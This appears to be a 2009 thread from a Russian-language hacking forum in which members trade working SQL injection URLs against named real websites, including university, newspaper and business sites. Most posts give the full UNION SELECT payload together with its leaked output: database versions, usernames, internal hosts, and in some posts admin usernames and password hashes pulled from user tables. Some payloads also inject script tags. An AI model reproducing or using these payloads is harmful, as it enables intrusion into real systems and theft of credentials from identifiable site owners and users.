SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Dyxxx

    Dyxxx Elder - Старейшина

    Joined:
    16 Feb 2009
    Messages:
    106
    Likes Received:
    153
    Reputations:
    24
    antrimhistory.net pr4
    The Glens of Antrim Historical Society
    Code:
    http://www.antrimhistory.net/content.php?cid=50+UNION+SELECT+null,null,null,null,null,concat_ws(0x2f,0x3C7363726970743E616C6572742827,version(),user(),database(),0x27293C2F7363726970743E),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+LIMIT+1,1/*
    4.1.22-Max/u1001104_goahs@172.16.3.36/db1001104_goahs
     
    1 person likes this.
  2. [x60]unu

    [x60]unu Banned

    Joined:
    7 May 2009
    Messages:
    99
    Likes Received:
    498
    Reputations:
    163
    www.agidev.com - PR=4
    http://www.agidev.com/articles/a.php?id=1/**/and/**/1=7%20/**/uniON/**/seLeCT/**/1,2,3,version(),5/*
    version - 5.0.45-log
    user - agidev_client@apache2-emu.wolverine.dreamhost.com
    database - agidev_site
    os - unknown-linux-gnu
    http://www.agidev.com/articles/a.php?id=1/**/and/**/1=7%20/**/uniON/**/seLeCT/**/1,2,3,email,5/**/FROM/**/people/**/LIMIT/**/0,1
     
    6 people like this.
  3. edichka

    edichka Member

    Joined:
    31 Jan 2009
    Messages:
    20
    Likes Received:
    14
    Reputations:
    0
    pr 3 www.onoci.net

    HTML:
    http://www.onoci.net/virilio/pages_uk/artistes/fiche.php?id=-25%20union%20select%201,version(),3,4,5,6,7,8,9,user(),1,2,3,4,5,6,7,8,9,0,1,2,3,4,5&th=2&img=1
    
    http://www.onoci.net/virilio/admin/ - админка
    
    5.0.45-log,onoci@localhost

    Pr 3 laitdbac.com

    HTML:
    http://laitdbac.com/fiche.php?id=-10%20union%20select%201,version(),3,4,5,6,7,8,9,0
    
    database,user,version - 
    ::::dbo201044235@212.227.119.175::::db201044235::::5.0.51a-log
    
    
     
    #10603 edichka, 11 Sep 2009
    Last edited by a moderator: 11 Sep 2009
    2 people like this.
  4. cremator (c)

    cremator (c) Elder - Старейшина

    Joined:
    20 Jun 2008
    Messages:
    283
    Likes Received:
    72
    Reputations:
    0
    Code:
    http://refoweb.net/getpay.php?id=100043+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13
    Вывода нет.. Но ветка пятая
    Code:
    http://refoweb.net/getpay.php?id=100043+and+2=1+union+select+1,2,3,4,5,6,version(),8,9,10,11,12,13+from+information_schema.tables
    Яндекс тИЦ 80
    Google PageRank 2

    ЗЫ: кидало партнёрка. У самого есть акк там, бабло не выводят естесс-но..
     
    1 person likes this.
  5. Dyxxx

    Dyxxx Elder - Старейшина

    Joined:
    16 Feb 2009
    Messages:
    106
    Likes Received:
    153
    Reputations:
    24
    cifrovik.biz pr3
    Каталог цифровой техники.
    Code:
    http://www.cifrovik.biz/news.php?news_id=999+union+all+select+concat_ws(0x2f,version(),user(),database())
    5051acommunity/cifrovik_cifrovi@localhost/cifrovik_cifrovi
    Code:
    http://www.cifrovik.biz/news.php?news_id=999+union+all+select+concat_ws(0x2f,user_group,user_name,user_password)+FROM+cifrovik_cifrovi.cpg148_users+limit+1,1
    1/Helen/2281f5c898351dbc6dace2ba201e7948
     
    1 person likes this.
  6. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    964
    Likes Received:
    307
    Reputations:
    51
    Code:
    http://www.lbpost.com/specialreport.php?id=-1+union+select+1,2,concat_ws(0x3a,username,password)+from+users2--
    Database Version: 5.0.77
    Database name: gengop
    User name: gengop@localhost
     
    3 people like this.
  7. Slavuti4

    Slavuti4 Elder - Старейшина

    Joined:
    22 Jan 2009
    Messages:
    555
    Likes Received:
    482
    Reputations:
    124
    sevntu.ru
    HTML:
    http://sevntu.ru/photos.php?s=-101+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,concat_ws(0x3a,version(),database(),user()),18,19,20,21,22,23,24,25,26,27,28,29
    Version():5.0.83
    Database():bankcard_base
    User():bankcard@localhost
     
    3 people like this.
  8. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    152
    Likes Received:
    244
    Reputations:
    73
    Почта России. Главный центр магистральных перевозок почты.
    Code:
    gcmpp:gcmpp@zvm2.host.ru:4.0.27-log
     
    3 people like this.
  9. [x60]unu

    [x60]unu Banned

    Joined:
    7 May 2009
    Messages:
    99
    Likes Received:
    498
    Reputations:
    163
    http://www.realestinternational.com/russian/direct.line.php?id=-1/**/UniON/**/alL/**/SeLecT/**/1,CONcAt(0x3a,Admin_id,0x3a,username,0x3a,password ,0x3a,email,0x3a,mobile),3,4,5,6,7,8/**/FROM/**/ri_admin+--+
     
    5 people like this.
  10. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    964
    Likes Received:
    307
    Reputations:
    51
    PR 7
    http://csulb.edu/divisions/students/calendar/eventlist.php?list=id&id=-650+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),database(),user()),9,0,11,12,13,14,15,16/*

    4.0.21-log:calendar:caluser@skua-priv1.its.csulb.edu
     
    5 people like this.
  11. DrAssault

    DrAssault Member

    Joined:
    14 Nov 2008
    Messages:
    149
    Likes Received:
    89
    Reputations:
    8
    4.1.22-log
    inforesipps
     
    5 people like this.
  12. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    266
    Likes Received:
    150
    Reputations:
    28
    http://www.nightmist.ca/news.php?news_id=50+UNION+SELECT+1,2,3,4,5,6,7+LIMIT+1,1/*

    Database Version: 4.1.14
    Database name: nightmist
    User name: a0006676@localhost
     
    3 people like this.
  13. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    PostgreSQL 8.3.7 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2:dlink
     
    4 people like this.
  14. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    2,505
    Likes Received:
    398
    Reputations:
    228
    http://www.mcbainscooper.com/news/news.php?newsid=-106'+union+select+1,2,3,4,concat_ws(0x3a3a,adminid,username,password),6,7,8,9,10,11,12,13,14,15,16+from+newsadmin+--+

    http://www.els.salford.ac.uk/news/news.php?newsid=-16+union+select+1,2,3,database(),5,6,7,8+/*+

    http://www.accommodation.salford.ac.uk/cms/news/article/index.php?id=-4+union+select+1,2,3,4,5,6+/*+

    http://www.business-services.salford.ac.uk/cms/news/article/?id=-24+union+select+1,2,3,4,5,6+/*+

    http://www.rgc.salford.ac.uk/cms/news/article/index.php?id=-147+union+select+1,2,3,4,5,6+/*+

    http://www.mams.salford.ac.uk/mams/news/article/index.php?id=-35+union+select+1,2,3,4,5,6+/*+

    http://access.fsee.salford.ac.uk/bb/view_forum.php?forumid=-1+union+select+1,2,3,4,5+/*+

    http://www.scri.dev.salford.ac.uk/scri/news/article/index.php?id=-39+union+select+1,2,3,4,5,6+/*+

    http://www.bri.salford.ac.uk/bri/news/article/index.php?id=-18+union+select+1,2,3,4,5,6+/*+

    http://www.analytical-services.salford.ac.uk/cms/news/article/?id=-3+union+select+1,2,3,4,5,6+/*+

    http://www.sege.salford.ac.uk/cms/news/article/?id=-5+union+Select+1,2,3,4,5,6+/*+
     
    #10614 DezMond™, 12 Sep 2009
    Last edited: 13 Sep 2009
    5 people like this.
  15. rolex

    rolex Member

    Joined:
    7 Apr 2009
    Messages:
    38
    Likes Received:
    35
    Reputations:
    4
    PR 4
    PR 3
    PR 3
     
    7 people like this.
  16. Dyxxx

    Dyxxx Elder - Старейшина

    Joined:
    16 Feb 2009
    Messages:
    106
    Likes Received:
    153
    Reputations:
    24
    themq.com pr4
    The MQ is the official college newspaper of Muir College at the University of California, San Diego.
    Code:
    http://www.themq.com/index.php?articles_id=null&issue=null+union+all+select+null,null,null,null,concat_ws(0x2f,0x3C7363726970743E616C6572742827,version(),user(),database(),0x27293C2F7363726970743E)+--+
    4.0.27-max-log/dbo184405665@74.208.16.28/db184405665
     
    1 person likes this.
  17. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    98
    Likes Received:
    116
    Reputations:
    14
    Code:
    http://www.ccsaar.de/fr/congresscentrum/index.php?id=-19+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,user(),database(),version()),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
    
    ccsaar_fr_usr@localhost:ccsaar_fr:5.0.45
    PR 4
     
    #10617 ..::TROYAN::.., 13 Sep 2009
    Last edited: 13 Sep 2009
    2 people like this.
  18. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    2,505
    Likes Received:
    398
    Reputations:
    228
    PR5
    http://www.njmp.com/news/news.php?newsID=-96'+union+select+1,2,3,4,5,6,7,8,9,10+/*+

    PR4
    http://www.bce009.ru/staff.php?act=adm_cat&cat=-5+union+select+group_concat(column_name)+from+information_schema.columns+where+table_name=0x43686F6963653241646D+--+

    PR3
    http://www.thermopol.ru/news_one.php?news_id=-224+union+select+1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15,16,17+from+information_schema.tables+--+

    PR1
    http://svir.ru/catview.php?tid=-34+union+select+1,2,3,table_name,5,6,7,8,9+from+information_schema.tables+--+&nm=%C3%EE%F0%E8%E7%EE%ED%F2%E0%EB%FC%ED%FB%E5

    PR4
    http://www.ptfinans.ru/page.php?lev1=-7+union+Select+1,2,3,4,5,6,7,8,9,10+--+

    PR3
    http://www.canadianreformedchurchchilliwack.org/page.php?id=-74+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.tables+--+
     
    4 people like this.
  19. Calcutta

    Calcutta Elder - Старейшина

    Joined:
    6 Aug 2007
    Messages:
    352
    Likes Received:
    240
    Reputations:
    36
    http://www.trsongs.ru/trtext_songs.php?id=319+union+select+0,1--
    blind
     
    4 people like this.
  20. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    98
    Likes Received:
    116
    Reputations:
    14
    Code:
    http://www.redfitness.com.ar/document.php?ID=-340+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9--
    redfitne_fernand@localhost:redfitne_redfitness:4.1.22-standard-log
    PR:3
    Тиц:10

    blind
    Code:
    http://www.evlka.de/content.php?contentTypeID=4&id=4639+and+substring(version(),1,1)=5--
    
    5 ветка

    PR:5
     
    4 people like this.
Loading...
Thread Status:
Not open for further replies.